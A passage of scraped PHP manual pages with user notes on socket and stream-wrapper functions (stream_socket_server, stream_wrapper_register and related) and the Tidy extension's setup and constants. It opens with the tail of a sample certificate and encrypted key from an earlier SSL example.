AAOBgQA7G/XKQ9kLTZOcVAG/IOxdn9tW38sEwHifNQ7zMSS5di1MmnD5JJWdK/s4
dzN06T1Ey5FCu2kafFzk48khZpoPsXMRF8DNBXLVSCGj4maPtEviJVjwtj3XwZjA
82a8A/Yil0+fo25zPX4I4oBcbl3bPqzVPXxsQ7myp9f7MDZcbQ==
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,E4476A175B6608B6

r0sox8H5ijuOanXwYFtIDgPti3AAuIUdy5EJG9GZbrtQHEW6HL+YxdI58Ng70t4w
EfBvcuLb7XAGsJwF65yad0vSXsYv6F+0brEefEvZX3ljxUZ3yGfHVJyEdBWJty7X
A8QpqOVVQseAST1IKeWOIT16/a9ZOgwnIhQe36y43pxBwL5tumXTM+AuWPOBW8c0
s49I8GyptttGJpcFohLsmP9Jza/fMIzYFNeuOBQ93fieCcVXBd2fWNyZVEsOU5Mi
kt5FQ9Lc9F8Wc+Mh0xiodDz6H+2yNIMC2SNu/mDSAGwDCctBZ34enFDad/eBiYW+
iTjMaqWGFs+cantSgVQ6pdZWYQd5Rsb3/Qbcfia/C1vtzWipBG7wlQCsNWwceXx/
f8hqWl5kyCxvBdH9eyRNMVJkCbFABl9tnaMGRi/UnVL68wgUvosAsdCjUrdL3x7O
i6yMBrxYjACbYslPFaG5OtgXcbacBKjsVMkcRYRyGqClgVZHICYZXhZoZTjOsgT4
L9WivT1RnozmFUMPaXbnxX4h/B3v6aSYAc4mPM6oMFTiXGJ7cLoafNw7Fxug7oeF
0+04DykzFCsLw1PmnkXP/WliQ+xidKJeKl2bR0k5MjAs0ksjelk7hAbCDjE0ct0w
LAHuvf6haClaFBa0ugL90S6BBdIQad9GRmAqZlVc5tANZleXFEY2wKUSMddIKzsm
nouipBWt3flDyYaFRtF20IYYk59z3zlqk73U/cFRkpT9SvHbxdsjTX1OvsmuhMzV
5K4+1QaBK4vePOFeEHDAkwGGqI1Wj+2lC6pxdLe3tjIzNWN1eaq59Q==
-----END RSA PRIVATE KEY-----

*/

?>
andrey at php dot net 07-Aug-2004 09:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
    echo "$errstr ($errno)<br />\n";
} else {
    $master[] = $socket;
    $read = $master;
    while (1) {
        $read = $master;
        $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
        if ($mod_fd === FALSE) {
            break;
        }
        for ($i = 0; $i < $mod_fd; ++$i) {
            if ($read[$i] === $socket) {
                $conn = stream_socket_accept($socket);
                fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
                $master[] = $conn;
            } else {
                $sock_data = fread($read[$i], 1024);
                var_dump($sock_data);
                if (strlen($sock_data) === 0) { // connection closed
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    fclose($read[$i]);
                    unset($master[$key_to_del]);
                } else if ($sock_data === FALSE) {
                    echo "Something bad happened";
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    unset($master[$key_to_del]);
                } else {
                    echo "The client has sent :"; var_dump($sock_data);
                    fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                    fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
                }
            }
        }
    }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Aloha");
    while (!feof($fp)) {
        var_dump(fgets($fp, 1024));
    }
    fclose($fp);
}
?>

Thanks
stream_socket_sendto
stream_socket_shutdown
Stream Functions


Shutdown a full-duplex connection

stream_socket_server
stream_supports_lock
Stream Functions
PHP Manual

stream_socket_shutdown

(PHP 5 >= 5.2.1)

stream_socket_shutdown — Shutdown a full-duplex connection

Description

bool stream_socket_shutdown ( resource $stream , int $how )

Shutdowns (partially or not) a full-duplex connection.

Parameters

stream

An open stream (opened with stream_socket_client(), for example)

how

One of the following constants: STREAM_SHUT_RD (disable further receptions), STREAM_SHUT_WR (disable further transmissions) or STREAM_SHUT_RDWR (disable further receptions and transmissions).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A stream_socket_shutdown() example

<?php

$server = stream_socket_server('tcp://127.0.0.1:1337');
$client = stream_socket_client('tcp://127.0.0.1:1337');

var_dump(fputs($client, "hello"));

stream_socket_shutdown($client, STREAM_SHUT_WR);
var_dump(fputs($client, "hello")); // doesn't work now

?>

The above example will output something similar to:

int(5)

Notice: fputs(): send of 5 bytes failed with errno=32 Broken pipe in test.php on line 9
int(0)

See Also

  • fclose() - Closes an open file pointer

User Contributed Notes

There are no user contributed notes for this page.
stream_socket_server
stream_supports_lock
Stream Functions


Tells whether the stream supports locking.

stream_socket_shutdown
stream_wrapper_register
Stream Functions
PHP Manual

stream_supports_lock

(PHP 5 >= 5.3.0)

stream_supports_lock — Tells whether the stream supports locking.

Description

bool stream_supports_lock ( resource $stream )

Tells whether the stream supports locking through flock().

Parameters

stream

The stream to check.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • flock() - Portable advisory file locking

User Contributed Notes

There are no user contributed notes for this page.
stream_socket_shutdown
stream_wrapper_register
Stream Functions


Register a URL wrapper implemented as a PHP class

stream_supports_lock
stream_wrapper_restore
Stream Functions
PHP Manual

stream_wrapper_register

(PHP 4 >= 4.3.2, PHP 5)

stream_wrapper_register — Register a URL wrapper implemented as a PHP class

Description

bool stream_wrapper_register ( string $protocol , string $classname [, int $flags = 0 ] )

Allows you to implement your own protocol handlers and streams for use with all the other filesystem functions (such as fopen(), fread() etc.).

Parameters

protocol

The wrapper name to be registered.

classname

The classname which implements the protocol.

flags

Should be set to STREAM_IS_URL if protocol is a URL protocol. Default is 0, local stream.

Return Values

Returns TRUE on success or FALSE on failure.

stream_wrapper_register() will return FALSE if the protocol already has a handler.

Changelog

Version | Description
5.2.4 | Added the flags parameter.

Examples

Example #1 How to register a stream wrapper

<?php
$existed = in_array("var", stream_get_wrappers());
if ($existed) {
    stream_wrapper_unregister("var");
}
stream_wrapper_register("var", "VariableStream");
$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

if ($existed) {
    stream_wrapper_restore("var");
}

?>

The above example will output:

line1
line2
line3
string(18) "line1
line2
line3
"

See Also

  • The streamWrapper prototype class
  • Example class registered as stream wrapper
  • stream_wrapper_unregister() - Unregister a URL wrapper
  • stream_wrapper_restore() - Restores a previously unregistered built-in wrapper
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

Anonymous 16-Sep-2008 11:19
"for use with all the other filesystem functions"

"all" is not accurate.  Unfortunately, zip_open(), and presumably others, will ignore your custom stream wrapper.
phrank 17-Apr-2008 01:38
Actually, I don't know if there's a better way to figure out if stream_read() was called by fgets() or e.g. fread() than this one:

    public function stream_read($count)
    {
        $bt = debug_backtrace();
        if(($bt[0]['function'] == 'stream_read') &&
           ($bt[1]['function'] == 'fgets'))
        {
                $pos = strpos($GLOBALS[$this->varname], "\n", $this->position);
                $retval = substr($GLOBALS[$this->varname], $this->position, ($pos > $count) ? $count : $pos+1);

        }
        else
        {
                $retval = substr($GLOBALS[$this->varname], $this->position, $count);

        }
                $this->position += strlen($retval);
                return (string)$retval;
    }
yeiniel at gmail dot com 14-Oct-2007 07:30
on using dir_opendir on PHP5 make sure you not return a resource object on success. A resource object is diferent from false but php make a cast to bool to dir_opendir return value and modify the value of your resource to 1.

example:

class myclass{
  private $mysqlHandler;
  public function dir_opendir(....)
  {
    $this->mysqlHandler = mysql_connect(....);
    return $this->mysqlHandler; //this is wrong, next
                                          //time you use
                                          //$this->mysqlHandler
                                          // the value is 1
  }
}
fordiman at gmail dot com 13-Aug-2007 05:59
Updated. I figured there's no need to store the variable name if we're dereferenceing; we can just store the pointer and not have to dereference in each function for brevity.

Also, I added the assertion that the stream is a string, since we're behaving basically like it has to be, and I changed the name to GlobalStream and global://, as that's a more descriptive moniker than VariableName/var://.
<?php
class GlobalStream {
    private $pos;
    private $stream;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->stream = &$GLOBALS[$url["host"]];
        $this->pos = 0;
        if (!is_string($this->stream)) return false;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->pos;
        $ret = substr($this->stream, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $l=strlen($data);
        $this->stream =
            substr($this->stream, 0, $this->pos) .
            $data .
            substr($this->stream, $this->pos += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->pos;
    }
    public function stream_eof() {
        return $this->pos >= strlen($this->stream);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen($this->stream);
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $this->pos + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $this->pos=$newPos;
        return $ret;
    }
}
stream_wrapper_register('global', 'GlobalStream') or die('Failed to register protocol global://');

$myvar = "";

$fp = fopen("global://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
fordiman at gmail dot com 13-Aug-2007 05:32
Updated for PHP 5, and optimized for readability, low line count, and minimum memory use:

<?php
class VariableStream {
    private $position;
    private $varname;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->position;
        $ret = substr($GLOBALS[$this->varname], $p, $count);
        $p += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $v=&$GLOBALS[$this->varname];
        $l=strlen($data);
        $p=&$this->position;
        $v = substr($v, 0, $p) . $data . substr($v, $p += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->position;
    }
    public function stream_eof() {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen(&$GLOBALS[$this->varname]);
        $p=&$this->position;
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $p + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $p=$newPos;
        return $ret;
    }
}
stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
phpnet at povaddict dot com dot ar 09-Jun-2007 08:10
In response to Anonymouse at Coward dot com:

The manual says "Reading stops when up to length bytes have been read, [...] or (after opening userspace stream) when 8192 bytes have been read whichever comes first."

I tested it and fread($filehandle, 4096) returns 4096 bytes, so it's working as the manual says it should. You're right when you say "8192 bytes is always passed to stream_read as count", but that doesn't mean fread will return 8192 bytes. If you call fread twice with length 4096, PHP calls stream_read passing 8192 as count on the first fread, and doesn't call it on second fread. On both cases, fread returns the correct amount of bytes.

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        echo "stream_read called asking for $count bytes\n";
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";
$l=range('a','z');
for($i=0;$i<65536;$i++) {
    $myvar .= $l[array_rand($l)];
}

$fp = fopen("var://myvar", "r+");

while (!feof($fp)) {
    $out = fread($fp,1000);
    echo "fread returned ",strlen($out)," bytes\n";
}

fclose($fp);

?>
Anonymouse at Coward dot com 26-Apr-2007 09:18
Use caution with writing code that may use stream wrappers with fread, as fread behaviour is 'inconsistent' with normal file operations because of the 8192 bytes internal buffer used by PHP ( >= 5.0.5 IIRC ).

ie:

fread($filehandle, filesize($filename))

will not work correctly if the file is larger than 8KB, it will only get you the first 8192 bytes. Also, it seems that:

fread($filehandle, 4096)

will still give you 8KB (if the file is larger than 8KB) as 8192 bytes is always passed to stream_read as count.

This makes it somewhat impossible to just 'drop in' a stream where normally a file would be used without taking special care.

Yes, it IS mentioned in the documentation here if you read it really well, but I for one spent some time scratching my head over it, and looking at the bug tracker, I am not the only one. The dev's say this inconsistancy is a feature though, even if it does make stream wrappers pretty much useless 'out of the box'.

file_get_contents and stream_get_contents seem to work ok though.
none at your dot biz 09-Nov-2006 04:35
In case someone else starts scratching their head like I was, you should change the VariableStream::stream_eof() function to something like this:

   function stream_eof()
   {
       $eof = ($this->position >= strlen($GLOBALS[$this->varname]));
        if(version_compare(PHP_VERSION,'5.0','>=') && version_compare(PHP_VERSION,'5.1','<'))
        {
            $eof = !$eof;
        }
        return $eof;
   }

PHP 5.0 introduced a bug that wasn't fixed until 5.1
jhannus at php dot net 20-Jun-2005 07:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net 12-Apr-2005 07:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson 03-Apr-2005 11:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org 13-Apr-2004 10:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
        $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>
stream_supports_lock
stream_wrapper_restore
Stream Functions


Restores a previously unregistered built-in wrapper

stream_wrapper_register
stream_wrapper_unregister
Stream Functions
PHP Manual

stream_wrapper_restore

(PHP 5 >= 5.1.0)

stream_wrapper_restore — Restores a previously unregistered built-in wrapper

Description

bool stream_wrapper_restore ( string $protocol )

Restores a built-in wrapper previously unregistered with stream_wrapper_unregister().

Parameters

protocol

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
stream_wrapper_register
stream_wrapper_unregister
Stream Functions


Unregister a URL wrapper

stream_wrapper_restore
Tidy
Stream Functions
PHP Manual

stream_wrapper_unregister

(PHP 5 >= 5.1.0)

stream_wrapper_unregister — Unregister a URL wrapper

Description

bool stream_wrapper_unregister ( string $protocol )

Allows you to disable an already defined stream wrapper. Once the wrapper has been disabled you may override it with a user-defined wrapper using stream_wrapper_register() or reenable it later on with stream_wrapper_restore().

Parameters

protocol

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
stream_wrapper_restore
Tidy
Stream Functions


Tidy

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Tidy example
  • tidy — The tidy class
    • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
    • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
    • tidy::__construct — Constructs a new tidy object
    • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
    • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
    • tidy::getConfig — Get current Tidy configuration
    • tidy::getHtmlVer — Get the Detected HTML version for the specified document
    • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
    • tidy::getoptdoc — Returns the documentation for the given option name
    • tidy::getRelease — Get release date (version) for Tidy library
    • tidy::getStatus — Get status of specified document
    • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
    • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
    • tidy::isXhtml — Indicates if the document is a XHTML document
    • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
    • tidy::parseFile — Parse markup in file or URI
    • tidy::parseString — Parse a document stored in a string
    • tidy::repairFile — Repair a file and return it as a string
    • tidy::repairString — Repair a string using an optionally provided configuration file
    • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree
  • tidyNode — The tidyNode class
    • tidyNode::getParent — Returns the parent node of the current node
    • tidyNode::hasChildren — Checks if a node has children
    • tidyNode::hasSiblings — Checks if a node has siblings
    • tidyNode::isAsp — Checks if this node is ASP
    • tidyNode::isComment — Checks if a node represents a comment
    • tidyNode::isHtml — Checks if a node is part of a HTML document
    • tidyNode::isJste — Checks if this node is JSTE
    • tidyNode::isPhp — Checks if a node is PHP
    • tidyNode::isText — Checks if a node represents text (no markup)
  • Tidy Functions
    • ob_tidyhandler — ob_start callback function to repair the buffer
    • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
    • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
    • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
    • tidy_get_output — Return a string representing the parsed tidy markup
    • tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding
    • tidy_reset_config — Restore Tidy configuration to default values
    • tidy_save_config — Save current settings to named file
    • tidy_set_encoding — Set the input/output character encoding for parsing markup
    • tidy_setopt — Updates the configuration settings for the specified tidy document
    • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

sirmonko at tapirpirates dot net 28-May-2009 12:59
here are the configuration options for tidy:
http://tidy.sourceforge.net/docs/quickref.html
stream_wrapper_unregister
Introduction
Other Basic Extensions


Introduction

Tidy is a binding for the Tidy HTML clean and repair utility which allows you to not only clean and otherwise manipulate HTML documents, but also traverse the document tree.

User Contributed Notes

There are no user contributed notes for this page.
Tidy
Installing/Configuring
Tidy


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Tidy


Requirements

To use Tidy, you will need libtidy installed, available on the tidy homepage » http://tidy.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is bundled with PHP 5 and greater, and is installed using the --with-tidy configure option.

PHP 4 users may use the (old) PECL extension here: » http://pecl.php.net/package/tidy.

Note:

Tidy 1.0 is for PHP 4, whereas newer versions of the Tidy extension are for PHP 5 and greater.

User Contributed Notes

spaceman at skipthispart dot foo dot at 13-Apr-2008 10:02
If you're having trouble installing the Tidy2 extension on Ubuntu Dapper for PHP 5, take a look at this thread in the support forums:

http://ubuntuforums.org/showthread.php?t=195636

In summary:
* there is an extra "make clean" step required between "configure" and "make"
* depending on your setup, you may need to install a couple of other packages before you can install tidy:
   build-essential, php5-dev and/or php5-cli, libtidy, libtidy-dev
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Tidy Configuration Options
Name | Default | Changeable | Changelog
tidy.default_config | "" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
tidy.clean_output | "0" | PHP_INI_USER | PHP_INI_PERDIR in PHP 5. Available since PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

tidy.default_config string

Default path for tidy config file.

tidy.clean_output boolean

Turns on/off the output repairing by Tidy.

Warning

Do not turn on tidy.clean_output if you are generating non-html content such as dynamic images.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Each TIDY_TAG_XXX represents a HTML tag. For example, TIDY_TAG_A represents a "<a href="XX">link</a>" tag. Each TIDY_ATTR_XXX represents a HTML attribute. For example TIDY_ATTR_HREF would represent the href attribute in the previous example.

The following constants are defined:

tidy tag constants
constant
TIDY_TAG_UNKNOWN
TIDY_TAG_A
TIDY_TAG_ABBR
TIDY_TAG_ACRONYM
TIDY_TAG_ALIGN
TIDY_TAG_APPLET
TIDY_TAG_AREA
TIDY_TAG_B
TIDY_TAG_BASE
TIDY_TAG_BASEFONT
TIDY_TAG_BDO
TIDY_TAG_BGSOUND
TIDY_TAG_BIG
TIDY_TAG_BLINK
TIDY_TAG_BLOCKQUOTE
TIDY_TAG_BODY
TIDY_TAG_BR
TIDY_TAG_BUTTON
TIDY_TAG_CAPTION
TIDY_TAG_CENTER
TIDY_TAG_CITE
TIDY_TAG_CODE
TIDY_TAG_COL
TIDY_TAG_COLGROUP
TIDY_TAG_COMMENT
TIDY_TAG_DD
TIDY_TAG_DEL
TIDY_TAG_DFN
TIDY_TAG_DIR
TIDY_TAG_DIV
TIDY_TAG_DL
TIDY_TAG_DT
TIDY_TAG_EM
TIDY_TAG_EMBED
TIDY_TAG_FIELDSET
TIDY_TAG_FONT
TIDY_TAG_FORM
TIDY_TAG_FRAME
TIDY_TAG_FRAMESET
TIDY_TAG_H1
TIDY_TAG_H2
TIDY_TAG_H3
TIDY_TAG_H4
TIDY_TAG_H5
TIDY_TAG_H6
TIDY_TAG_HEAD
TIDY_TAG_HR
TIDY_TAG_HTML
TIDY_TAG_I
TIDY_TAG_IFRAME
TIDY_TAG_ILAYER
TIDY_TAG_IMG
TIDY_TAG_INPUT
TIDY_TAG_INS
TIDY_TAG_ISINDEX
TIDY_TAG_KBD
TIDY_TAG_KEYGEN
TIDY_TAG_LABEL
TIDY_TAG_LAYER
TIDY_TAG_LEGEND
TIDY_TAG_LI
TIDY_TAG_LINK
TIDY_TAG_LISTING
TIDY_TAG_MAP
TIDY_TAG_MARQUEE
TIDY_TAG_MENU
TIDY_TAG_META
TIDY_TAG_MULTICOL
TIDY_TAG_NOBR
TIDY_TAG_NOEMBED
TIDY_TAG_NOFRAMES
TIDY_TAG_NOLAYER
TIDY_TAG_NOSAVE
TIDY_TAG_NOSCRIPT
TIDY_TAG_OBJECT
TIDY_TAG_OL
TIDY_TAG_OPTGROUP
TIDY_TAG_OPTION
TIDY_TAG_P
TIDY_TAG_PARAM
TIDY_TAG_PLAINTEXT
TIDY_TAG_PRE
TIDY_TAG_Q
TIDY_TAG_RP
TIDY_TAG_RT
TIDY_TAG_RTC
TIDY_TAG_RUBY
TIDY_TAG_S
TIDY_TAG_SAMP
TIDY_TAG_SCRIPT
TIDY_TAG_SELECT
TIDY_TAG_SERVER
TIDY_TAG_SERVLET
TIDY_TAG_SMALL
TIDY_TAG_SPACER
TIDY_TAG_SPAN
TIDY_TAG_STRIKE
TIDY_TAG_STRONG
TIDY_TAG_STYLE
TIDY_TAG_SUB
TIDY_TAG_TABLE
TIDY_TAG_TBODY
TIDY_TAG_TD
TIDY_TAG_TEXTAREA
TIDY_TAG_TFOOT
TIDY_TAG_TH
TIDY_TAG_THEAD
TIDY_TAG_TITLE
TIDY_TAG_TR
TIDY_TAG_TR
TIDY_TAG_TT
TIDY_TAG_U
TIDY_TAG_UL
TIDY_TAG_VAR
TIDY_TAG_WBR
TIDY_TAG_XMP

tidy attribute constants
constant
TIDY_ATTR_UNKNOWN
TIDY_ATTR_ABBR
TIDY_ATTR_ACCEPT
TIDY_ATTR_ACCEPT_CHARSET
TIDY_ATTR_ACCESSKEY
TIDY_ATTR_ACTION
TIDY_ATTR_ADD_DATE
TIDY_ATTR_ALIGN
TIDY_ATTR_ALINK
TIDY_ATTR_ALT
TIDY_ATTR_ARCHIVE
TIDY_ATTR_AXIS
TIDY_ATTR_BACKGROUND
TIDY_ATTR_BGCOLOR
TIDY_ATTR_BGPROPERTIES
TIDY_ATTR_BORDER
TIDY_ATTR_BORDERCOLOR
TIDY_ATTR_BOTTOMMARGIN
TIDY_ATTR_CELLPADDING
TIDY_ATTR_CELLSPACING
TIDY_ATTR_CHAR
TIDY_ATTR_CHAROFF
TIDY_ATTR_CHARSET
TIDY_ATTR_CHECKED
TIDY_ATTR_CITE
TIDY_ATTR_CLASS
TIDY_ATTR_CLASSID
TIDY_ATTR_CLEAR
TIDY_ATTR_CODE
TIDY_ATTR_CODEBASE
TIDY_ATTR_CODETYPE
TIDY_ATTR_COLOR
TIDY_ATTR_COLS
TIDY_ATTR_COLSPAN
TIDY_ATTR_COMPACT
TIDY_ATTR_CONTENT
TIDY_ATTR_COORDS
TIDY_ATTR_DATA
TIDY_ATTR_DATAFLD
TIDY_ATTR_DATAPAGESIZE
TIDY_ATTR_DATASRC
TIDY_ATTR_DATETIME
TIDY_ATTR_DECLARE
TIDY_ATTR_DEFER
TIDY_ATTR_DIR
TIDY_ATTR_DISABLED
TIDY_ATTR_ENCODING
TIDY_ATTR_ENCTYPE
TIDY_ATTR_FACE
TIDY_ATTR_FOR
TIDY_ATTR_FRAME
TIDY_ATTR_FRAMEBORDER
TIDY_ATTR_FRAMESPACING
TIDY_ATTR_GRIDX
TIDY_ATTR_GRIDY
TIDY_ATTR_HEADERS
TIDY_ATTR_HEIGHT
TIDY_ATTR_HREF
TIDY_ATTR_HREFLANG
TIDY_ATTR_HSPACE
TIDY_ATTR_HTTP_EQUIV
TIDY_ATTR_ID
TIDY_ATTR_ISMAP
TIDY_ATTR_LABEL
TIDY_ATTR_LANG
TIDY_ATTR_LANGUAGE
TIDY_ATTR_LAST_MODIFIED
TIDY_ATTR_LAST_VISIT
TIDY_ATTR_LEFTMARGIN
TIDY_ATTR_LINK
TIDY_ATTR_LONGDESC
TIDY_ATTR_LOWSRC
TIDY_ATTR_MARGINHEIGHT
TIDY_ATTR_MARGINWIDTH
TIDY_ATTR_MAXLENGTH
TIDY_ATTR_MEDIA
TIDY_ATTR_METHOD
TIDY_ATTR_MULTIPLE
TIDY_ATTR_NAME
TIDY_ATTR_NOHREF
TIDY_ATTR_NORESIZE
TIDY_ATTR_NOSHADE
TIDY_ATTR_NOWRAP
TIDY_ATTR_OBJECT
TIDY_ATTR_OnAFTERUPDATE
TIDY_ATTR_OnBEFOREUNLOAD
TIDY_ATTR_OnBEFOREUPDATE
TIDY_ATTR_OnBLUR
TIDY_ATTR_OnCHANGE
TIDY_ATTR_OnCLICK
TIDY_ATTR_OnDATAAVAILABLE
TIDY_ATTR_OnDATASETCHANGED
TIDY_ATTR_OnDATASETCOMPLETE
TIDY_ATTR_OnDBLCLICK
TIDY_ATTR_OnERRORUPDATE
TIDY_ATTR_OnFOCUS
TIDY_ATTR_OnKEYDOWN
TIDY_ATTR_OnKEYPRESS
TIDY_ATTR_OnKEYUP
TIDY_ATTR_OnLOAD
TIDY_ATTR_OnMOUSEDOWN
TIDY_ATTR_OnMOUSEMOVE
TIDY_ATTR_OnMOUSEOUT
TIDY_ATTR_OnMOUSEOVER
TIDY_ATTR_OnMOUSEUP
TIDY_ATTR_OnRESET
TIDY_ATTR_OnROWENTER
TIDY_ATTR_OnROWEXIT
TIDY_ATTR_OnSELECT
TIDY_ATTR_OnSUBMIT
TIDY_ATTR_OnUNLOAD
TIDY_ATTR_PROFILE
TIDY_ATTR_PROMPT
TIDY_ATTR_RBSPAN
TIDY_ATTR_READONLY
TIDY_ATTR_REL
TIDY_ATTR_REV
TIDY_ATTR_RIGHTMARGIN
TIDY_ATTR_ROWS
TIDY_ATTR_ROWSPAN
TIDY_ATTR_RULES
TIDY_ATTR_SCHEME
TIDY_ATTR_SCOPE
TIDY_ATTR_SCROLLING
TIDY_ATTR_SELECTED
TIDY_ATTR_SHAPE
TIDY_ATTR_SHOWGRID
TIDY_ATTR_SHOWGRIDX
TIDY_ATTR_SHOWGRIDY
TIDY_ATTR_SIZE
TIDY_ATTR_SPAN
TIDY_ATTR_SRC
TIDY_ATTR_STANDBY
TIDY_ATTR_START
TIDY_ATTR_STYLE
TIDY_ATTR_SUMMARY
TIDY_ATTR_TABINDEX
TIDY_ATTR_TARGET
TIDY_ATTR_TEXT
TIDY_ATTR_TITLE
TIDY_ATTR_TOPMARGIN
TIDY_ATTR_TYPE
TIDY_ATTR_USEMAP
TIDY_ATTR_VALIGN
TIDY_ATTR_VALUE
TIDY_ATTR_VALUETYPE
TIDY_ATTR_VERSION
TIDY_ATTR_VLINK
TIDY_ATTR_VSPACE
